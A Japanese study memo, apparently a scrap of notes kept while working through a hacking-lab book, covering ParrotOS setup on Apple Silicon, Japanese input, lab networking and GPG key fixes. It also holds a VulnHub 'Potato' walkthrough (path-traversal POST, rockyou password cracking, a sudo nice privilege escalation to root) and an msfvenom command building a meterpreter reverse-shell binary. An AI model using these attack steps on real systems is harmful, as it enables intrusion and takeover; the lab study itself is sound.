Open13

【メモ】ハッキング・ラボのつくりかた 完全版

ピン留めされたアイテム
あぷしあぷし

トラブルシューティングのためにこのスクラップを見ていただいた方へ

XXがうまくいかない!

著者のブログに載っている可能性があるので、まずここから探してみると良いかもしれません。

あぷしあぷし

Apple SiliconのMacでParrotOSを利用する

著者のブログを参考にインストールする。
以下は補足情報。

brewによるUTMのインストール

brew install utm --cask

ParrotOSのイメージ

Downloadページから以下のように選択する

  1. 「Virtual」のアイコンを選択
  2. 「Security」のアイコンを選択
  3. 「ARM64」のアイコンを選択
  4. 「Download ▼」を押下して「utm(Apple Silicon)」を選択

ログイン情報は以下の通り

  • ユーザ名: parrot
  • パスワード: parrot

参考

あぷしあぷし

クリップボード共有と解像度自動調整

Qiitaを参考に、以下のコマンドでインストール後VMを再起動

sudo apt install spice-vdagent spice-webdavd
あぷしあぷし

日本語キーボード 入力設定

参考ページ

Mozcインストール

$ sudo apt install -y fcitx-mozc
$ im-config -n fcitx
$ fcitx-autostart
fcitx-configtool
  • Imput Methodで「Mozc」を設定
  • Global Config で Trigger Imput Method をZenkakuhankaku に設定
    • 全角/半角 キーで切り替え可能になる

JIS配列対応

  1. パネルのキーボードアイコンを右クリックし、「Configure」を開く
  2. 「+」ボタンを押下
  3. 「Only Show Current Language」のチェックを外して「Japan」で検索
  4. 「Keyboard - Japanese」を選択する
あぷしあぷし

日本語フォント設定

Notoフォント・フォントキャッシュ導入

sudo apt update && sudo apt install fonts-noto-cjk fonts-noto-cjk-extra fonts-noto-color-emoji && fc-cache -fv

インストール後、GUIからフォント変更

  1. 画面左下の「Menu」から「Preference」→「Appearance」→「Fonts」タブを選択
  2. 「Noto Sans CJK JP Regular」を設定する。

参考

あぷしあぷし

各種設定

解像度変更

  • Menu -> Preferences -> Displays

言語設定

  • 以下のコマンドを入力後再起動らしいが、メニューの表示は英語のままだった
    $sudo localectl set-locale ja_JP.UTF-8
    

タイムゾーン

  • パネルの時計 → Location → Locations
  • Tokyoの隣のSet...で反映

参考

あぷしあぷし

追加でインストールが必要なツール

  • #1
    • apparmor-utils: aa-disableコマンド
    • ufw: ufwコマンド
  • #2
    • tree: metasploitモジュールのディレクトリ改装を参照するため
sudo apt update -y
sudo apt install apparmor-utils ufw tree
あぷしあぷし

UTM ネットワーク設定

P327 ParrotOSの仮想マシンを2台用意する

マシンのクローン

VMを右クリックして「複製」を押下する。
MACアドレスがクローン元と同じになっているので、変更する。
VMを右クリック→編集 → デバイス > ネットワーク > MACアドレス欄の「ランダム」ボタンを押下してMACアドレスを再設定する。

詳しいネットワーク設定

名前 設定値
ネットワークモード ホストのみ
仮想ネットワークカード virtio-net-pci(デフォルト)
MACアドレス 任意の値

詳細設定

名前 設定値
ゲストをホストから隔離 未チェック
ゲストネットワーク 192.168.56.1/24
ゲストネットワーク(IPv6) (空欄)
DHCP割当開始アドレス 192.168.56.100
DHCP割当終了アドレス 192.168.56.254

DHCP割当開始アドレスに設定したIPアドレスがVM内でDHCPサーバーのIPアドレスとして使用される。
DHCPサーバーのIPアドレスは以下のコマンドで確認可能

cat /var/lib/dhcp/dhclient.leases

DHCPサーバーのIPアドレスを再設定する場合はdhclientを使用して再リースする。

sudo dhclient -r
sudo dhclient

再リース後は/var/lib/dhcp/dhclient.leasesで内容を確認可能。

lease {
  interface "enp0s1";
  fixed-address 192.168.56.102;
  server-name "<ホストPC名>";
  option subnet-mask 255.255.255.0;
  option dhcp-lease-time 86400;
  option dhcp-message-type 5;
  option dhcp-server-identifier 192.168.56.100;
  renew 2 2024/03/05 03:27:11;
  rebind 2 2024/03/05 03:27:11;
  expire 2 2024/03/05 03:27:11;
}
lease {
  interface "enp0s1";
  fixed-address 192.168.56.102;
  server-name "<ホストPC名>";
  option subnet-mask 255.255.255.0;
  option dhcp-lease-time 86400;
  option dhcp-message-type 5;
  option dhcp-server-identifier 192.168.56.100;
  renew 2 2024/03/05 12:52:50;
  rebind 3 2024/03/06 00:27:15;
  expire 3 2024/03/06 03:27:15;
}
あぷしあぷし

Netcat同士で通信する

ParrotOSマシンからParrotOS-Test(もしくはその逆)へ接続が失敗する。

前の項で有効にしたufwが邪魔していたので、無効化する。

sudo ufw disable
あぷしあぷし

#1 Potato

イメージ

https://www.vulnhub.com/entry/potato-1,529/

ネットワーク設定

自環境ではWindowsPCにVirtualBoxをインストールしイメージを起動してネットワーク越しにアクセスをする。

UTM(ParrotOS側) ネットワーク設定

ネットワークモード: ブリッジ(詳細)
詳細設定はすべて空欄に戻す。

VirtualBox(Potato側) ネットワーク設定

割り当て: ブリッジアダプター
名前: ipconfig /allで出てきた、「イーサネットアダプター イーサネット」の「説明」と同じ名前のもの

実施コマンド

  • sudo netdiscover -i enp0s1 -r <ネットワークアドレス>/24
  • sudo nmap -sC -sV -Pn -p- $IP -oN portscan_result.txt
  • ftp $IP 2112
  • file welcome.msg
  • gobuster dir -u $URL -w /usr/share/wordlists/dirb/common.txt
    • /adminのページの存在を確認
  • burpsuite
    • 左上のApplicationからPentesting > Web Application Analysis > Web Application Proxies > BurpSuite
    • Could not start Burp: java.lang.NullPointerException
      • sudo apt update && sudo apt upgrade
      • sudo apt-get update --fix-missingで解決
  • Proxy > Intercept > Open browser
    • 開かない → 公式HPで最新版をダウンロードして使用して解決
  • curl -X POST -b "pass=xxxx" -d "file=../../xxx"
    • -b リクエストヘッダ
  • john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
    • rockyou.txt.gzしかない → sudo gzip -d /usr/share/wordlists/rockyou.txt.gzで解凍
  • john hash.txt -show
  • sudo -l
    • sudo実行権限確認
    • /bin/niceコマンドを/notes配下を対象として実行可能
  • sudo /bin/nice /notes/id.sh
  • sudo /bin/nice /notes/../bin/bash → root奪取
  • cat root.txt | base64 -d

参考

あぷしあぷし

ParrotOSのGPG公開鍵の更新

apt updateコマンドを実行したところ、以下のエラーが発生した。

┌─[parrot@parrot]─[~]
└──╼ $sudo apt -y update
Get:1 https://deb.parrot.sh/parrot lory InRelease [29.8 kB]
Get:2 https://deb.parrot.sh/direct/parrot lory-security InRelease [29.4 kB]
Err:1 https://deb.parrot.sh/parrot lory InRelease
  The following signatures couldn't be verified because the public key is not available: NO_PUBKEY 7A8286AF0E81EE4A
Get:3 https://deb.parrot.sh/parrot lory-backports InRelease [29.7 kB]
Err:2 https://deb.parrot.sh/direct/parrot lory-security InRelease
  The following signatures couldn't be verified because the public key is not available: NO_PUBKEY 7A8286AF0E81EE4A
Err:3 https://deb.parrot.sh/parrot lory-backports InRelease
  The following signatures couldn't be verified because the public key is not available: NO_PUBKEY 7A8286AF0E81EE4A
Fetched 88.9 kB in 1s (95.0 kB/s)
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
367 packages can be upgraded. Run 'apt list --upgradable' to see them.
W: An error occurred during the signature verification. The repository is not updated and the previous index files will be used. GPG error: https://deb.parrot.sh/parrot lory InRelease: The following signatures couldn't be verified because the public key is not available: NO_PUBKEY 7A8286AF0E81EE4A
W: An error occurred during the signature verification. The repository is not updated and the previous index files will be used. GPG error: https://deb.parrot.sh/direct/parrot lory-security InRelease: The following signatures couldn't be verified because the public key is not available: NO_PUBKEY 7A8286AF0E81EE4A
W: An error occurred during the signature verification. The repository is not updated and the previous index files will be used. GPG error: https://deb.parrot.sh/parrot lory-backports InRelease: The following signatures couldn't be verified because the public key is not available: NO_PUBKEY 7A8286AF0E81EE4A
W: Failed to fetch https://deb.parrot.sh/parrot/dists/lory/InRelease  The following signatures couldn't be verified because the public key is not available: NO_PUBKEY 7A8286AF0E81EE4A
W: Failed to fetch https://deb.parrot.sh/direct/parrot/dists/lory-security/InRelease  The following signatures couldn't be verified because the public key is not available: NO_PUBKEY 7A8286AF0E81EE4A
W: Failed to fetch https://deb.parrot.sh/parrot/dists/lory-backports/InRelease  The following signatures couldn't be verified because the public key is not available: NO_PUBKEY 7A8286AF0E81EE4A
W: Some index files failed to download. They have been ignored, or old ones used instead.

APTサーバーのGPGキーの更新が原因であるため、OS側のGPGキーを更新する。

手順

以下のコマンドを任意のディレクトリで実行して
parrot-archive-keyringの最新バージョンをダウンロードする。

sudo wget https://deb.parrot.sh/parrot/pool/main/p/parrot-archive-keyring/parrot-archive-keyring_2024.12_all.deb

ダウンロードしたディレクトリで以下のコマンドを実行してインストールを行う

sudo dpkg -i parrot-archive-keyring_2024.12_all.deb

sudo apt update してエラーがでなければOK

参考

あぷしあぷし

Metasploit Framework

evilスクリプトが実行できない

Appli Silicon環境で実行している場合、msfvenomを使用したスクリプト作成コマンドを書籍の通り実行した場合、ParrotOS-Test環境でevilを実行すると以下のエラーが発生する。

┌─[parrot@parrot]─[~]
└──╼ $./evil
bash: ./evil: cannot execute binary file: Exec format error

解決方法

アーキテクチャにaarch64を指定することで解決。

msfvenom --payload linux/aarch64/meterpreter_reverse_tcp --platform linux --arch aarch64 LHOST=<ParrotOS側のIPアドレス> LPORT=4444 --format elf --out ~/Desktop/evil